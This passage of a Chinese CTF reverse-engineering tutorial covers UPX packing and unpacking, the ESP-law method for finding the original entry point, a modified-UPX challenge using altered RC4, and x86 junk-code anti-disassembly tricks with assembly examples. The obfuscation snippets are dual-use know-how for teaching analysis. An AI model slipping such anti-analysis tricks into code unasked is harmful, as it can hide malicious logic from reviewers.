   ├─────────────────────┤                 
   │ 原 ELF 头（备份）   │  给 upx -d 用   
   ├─────────────────────┤                 
   │ UPX! 签名           │                 
   ├─────────────────────┤                 
   │                    │                 
   │ 压缩数据           │                 
   │ （原程序压扁了）    │                 
   │                    │                 
   ├─────────────────────┤                 
   │ stub（解压器）      │ ← 入口指向这里  
   └─────────────────────┘                 
          320 KB                           
                                           
═══════════════════════════════════════════════════════════
                         运行过程
═══════════════════════════════════════════════════════════

   ./demo_upx                              
        │                                  
        ▼                                  
   系统加载 demo_upx 到内存                
        │                                  
        ▼                                  
   跳到入口 0xc133b0（stub）               
        │                                  
        ▼                                  
   ┌────────────────────┐                  
   │ stub 干活：         │                  
   │ 1. 保存寄存器      │                  
   │ 2. 读压缩数据      │                  
   │ 3. 解压            │                  
   │ 4. 写到 0x401670 区│ ← 和原程序位置一样
   │ 5. 恢复寄存器      │                  
   │ 6. jmp 0x401670    │                  
   └────────────────────┘                  
        │                                  
        ▼                                  
   到达 OEP 0x401670                       
        │                                  
        ▼                                  
   原程序正常运行                          
   打印 "Hello CTF!"                       
        │                                  
        ▼                                  
   结束                                    

═══════════════════════════════════════════════════════════

查壳

这里使用die工具

DIE 一般指 Detect It Easy，是做可执行文件识别与初步分析的工具

这里可以看到我们的demo_upx存在upx壳。

工具脱壳

使用upx -d指令脱壳

手动脱壳

esp定律法

简介：

ESP 定律是一种经典的手动脱壳技术，基于堆栈平衡原理，通过监视 ESP 寄存器的变化，快速定位程序的原始入口点（OEP，Original Entry Point）。

它是脱壳界最通用、最简单粗暴的方法之一，对大多数压缩壳（如 UPX、ASPack）都有效。

原理：

1.堆栈平衡：

在函数调用或程序执行过程中，堆栈指针 ESP 的变化必须保持平衡——即函数进入时 push 了什么，退出前就要 pop 回来，保证 ESP 最终回到原位。

加壳过程：

1
2
3
4
5
6
7
8
9
10
11

┌─────────────────────────────────────────┐
│  1. 壳代码接管控制权（入口点 = 壳）      │
│         ↓                               │
│  2. pushad  ← 保存所有寄存器到栈         │
│         ↓                               │
│  3. 解密 / 解压原始代码                  │
│         ↓                               │
│  4. popad   ← 恢复所有寄存器             │
│         ↓                               │
│  5. jmp OEP ← 跳到原始入口点          │
└─────────────────────────────────────────┘

魔改upx

例题：

加了 UPX 壳的程序直接使用 IDA 打开函数会特别少，这是 UPX 壳的特征之一。

使用die看壳的属性

可以看到，这道题是 UPX 壳，但是被改过了，不是标准的 UPX 壳

直接脱壳的化会报错

这里我们用 010 Editor 打开题目，对比标准的 UPX 壳可以找到魔改的地方

然后使用 UPX 来脱壳

使用 IDA 打开并反编译，可以发现程序逻辑是使用 RC4 算法加密用户的输入，再与密文比较来判断正误

查看 xuejie_evil_rc4 可以发现 RC4 稍微魔改了一点，这个函数在最后的密文中又异或了 0x21

双击查看密钥密文的变量，按下 Shift + E 来提取密文及密钥

使用 Cyberchef 即可解密

花指令

花指令（Junk Code）

一、什么是花指令

花指令是人为插入到程序中的无用指令或干扰指令，它们不会影响程序的正常执行逻辑，但会干扰反汇编器（如 IDA）的静态分析，使反汇编结果出错或难以阅读。
简单理解：

花指令就像在一本书里故意插入一些乱码页，人读的时候会被迷惑，但书的核心故事没变。
目的：

• 对抗静态分析（IDA、Ghidra 等）
• 增加逆向工程的难度
• 保护关键代码逻辑不被轻易看到

二、花指令的原理

2.1 反汇编器的工作方式

反汇编器主要有两种分析策略：

2.2 花指令如何欺骗反汇编器

核心思路：让反汇编器把数据当代码、或者在错误的位置开始解析指令。
x86 指令是变长的（1~15 字节），如果反汇编器从错误的位置开始解析，后续所有指令都会解析错误，产生”雪崩效应”。
正常执行流： A指令 → 跳转到C → C指令 → …
反汇编器看到：A指令 → B垃圾数据(被当成指令) → 后面全乱了

三、常见花指令类型与示例

3.1 永真/永假跳转 + 垃圾字节（最经典！）

原理： 插入一个永远成立（或永远不成立）的跳转，在”不会执行的分支”中插入垃圾字节，欺骗反汇编器。

示例 1：jz + jnz 组合（永远跳转）

1
2
3
4
5
6
7
8

; 花指令
jz   label       ; ZF=1 则跳
jnz  label       ; ZF=0 则跳
db   0xE8         ; 垃圾字节（0xE8 是 call 指令的操作码）
label:
; 正常代码继续...
push ebp
mov  ebp, esp

分析：

• 无论 ZF 是 0 还是 1，都会跳转到 label，所以 db 0xE8 永远不会被执行
• 但 IDA 会认为 jnz 后面紧跟着代码，把 0xE8 当成 call 指令的开头来解析
• call 需要 5 个字节（E8 xx xx xx xx），于是 IDA 把后面的 push ebp 等正常指令的字节也吃掉了
• 结果：IDA 显示一堆乱七八糟的东西 ❌

示例 2：永真跳转 xor + jz

1
2
3
4
5

xor  eax, eax     ; eax = 0，ZF 一定为 1
jz   real_code     ; 永远跳转
db   0xE8          ; 垃圾字节，永远不执行
real_code:
mov  ebx, 1

示例 3：永假条件

1
2
3
4
5
6
7
8
9
10
11

xor  eax, eax     ; eax = 0
test eax, eax     ; ZF = 1
jnz  fake_branch  ; 永远不跳（因为 ZF=1）
jmp  real_code     ; 永远执行这里

fake_branch:
; 这里放大量垃圾代码，IDA可能会分析这里
db   "AAAAAAAAAA"

real_code:
; 真正的代码

3.2 call + 修改返回地址

原理： call 指令会将下一条指令的地址压栈（作为返回地址），然后我们手动修改这个返回地址，跳过垃圾字节。

示例 4：call + add esp 跳过垃圾

1
2
3
4
5
6
7
8
9
10
11

call next
next:
add  dword ptr [esp], 7   ; 返回地址 +7，跳过下面的垃圾
ret                        ; 相当于 jmp (next+7)
db   0xE8                  ; 垃圾
db   0x58                  ; 垃圾
db   0x90                  ; 垃圾
; ← 这里是 next+7 的位置
; 真正的代码
push ebp
mov  ebp, esp

分析：

• call next 把 next 的地址压入栈
• add [esp], 7 修改栈顶的返回地址，让它跳过垃圾字节
• ret 弹出修改后的地址并跳转
• IDA 不容易识别这种”计算跳转”

示例 5：更简洁的写法

1
2
3
4
5
6

call $+5           ; call下一条指令（压入下一条指令地址）
add  [esp], 5      ; 返回地址 += 5（跳过垃圾）
ret
db   0xE9          ; 垃圾字节（jmp 的操作码，会"吃掉"后面4字节）
db   0xFF
; 真正代码从这里开始

3.3 多层跳转（跳转迷宫）

原理： 不一定能骗过 IDA，但能让人看着头疼、增加分析难度。

示例 6：短跳转嵌套

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16